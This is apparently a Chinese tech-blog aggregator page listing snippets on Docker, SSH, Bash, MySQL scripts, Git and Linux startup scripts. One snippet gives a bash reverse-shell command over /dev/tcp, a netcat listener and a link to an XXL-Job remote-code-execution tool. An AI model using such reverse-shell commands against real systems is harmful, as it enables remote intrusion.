停用全部正在运行的容器 [root@server3 ~]# docker stop $(docker ps -q) 删除全部容器 [root@server3 ~]# docker rm $(docker ps -aq) 一条命令实现停用并删除所有容器 docker stop $(docker ps ...
分类:
其他好文 时间:
2020-12-02 12:48:25
阅读次数:
15
Linux系统SSH(SecureShellProtocol)服务Linux系统SSH(SecureShellProtocol)服务一:什么是SSH服务在数据传输前,SSH会对需要传输的数据进行加密,保证会话安全与会话中传输数据的安全,SSH客户端还包括一个远程拷贝命令scp二:SSH的结构SSH服务由服务端软件(openssh)和客户端(SSH、SecureCRT、Xshell)组成,SSH默认
分类:
系统相关 时间:
2020-12-02 12:42:55
阅读次数:
14
Linux Bash基础特性 1、 命令补全 bash执行命令: 内部命令:help命令 外部命令:bash根据PATH环境变量定义的路径,自左而右在每个路径搜寻以给定命令名命名的文 件,第一次找到即为要执行的命令; 直接补全:Tab,用户给定的字符串只有一条惟一对应的命令; 以用户给定的字符串为开 ...
分类:
系统相关 时间:
2020-12-02 12:29:48
阅读次数:
7
bash -i >& /dev/tcp/ip/port 0>&1 服务器监听 nc -lvvp 9999 利用工具 https://github.com/mrknow001/xxl-job-rce bash反弹shell命令 https://www.cnblogs.com/supdon/p/1346 ...
1 !/bin/bash 2 3 4 HOSTNAME="localhost" 5 PORT="3306" 6 USERNAME="root" 7 PASSWORD="1234" 8 DBNAME="mydatabase" 9 10 11 LOGIN_CMD="mysql -h${HOSTNAME} ...
分类:
数据库 时间:
2020-12-02 12:27:59
阅读次数:
12
git 分布式代码管理系统,每一个人的电脑都可以成为一台服务器,它利用Linux语法 gitHub地址 https://github.com/ git网址: https://git-scm.com/downloads?下载完,傻瓜式安装,下一步下一步 使用命令(基本) 鼠标右键点击git_Bash_ ...
分类:
其他好文 时间:
2020-12-02 12:07:08
阅读次数:
3
shell是弱类型语言如何查看linux支持哪些shell:cat/etc/shells
分类:
系统相关 时间:
2020-12-02 11:57:06
阅读次数:
7
code macname@localhost Desktop % cat content fox jumps over the lazy dog. fox jumps over the lazy dog. fox jumps over the lazy dog. fox jumps over the ...
分类:
系统相关 时间:
2020-12-01 12:32:52
阅读次数:
24
1.打开shell终端,输入 sudo vi /etc/rc.local 2.在编辑器里面输入自己要启动的脚本 #!/bin/bash echo "run incar ai program..." cd /opt/robot nohup bash autorobot.sh & 2>/dev/null ...
分类:
系统相关 时间:
2020-12-01 12:15:17
阅读次数:
12
1准备工作安装好Linux操作系统,这里选择的是Linux7:[root@localehost~]#cat/etc/redhat-releaseRedHatEnterpriseLinuxServerrelease7.6(Maipo)关闭防火墙和Selinux:[root@localehost~]#systemctlstopfirewalld[root@localehost~]#systemctld
分类:
系统相关 时间:
2020-12-01 11:45:15
阅读次数:
10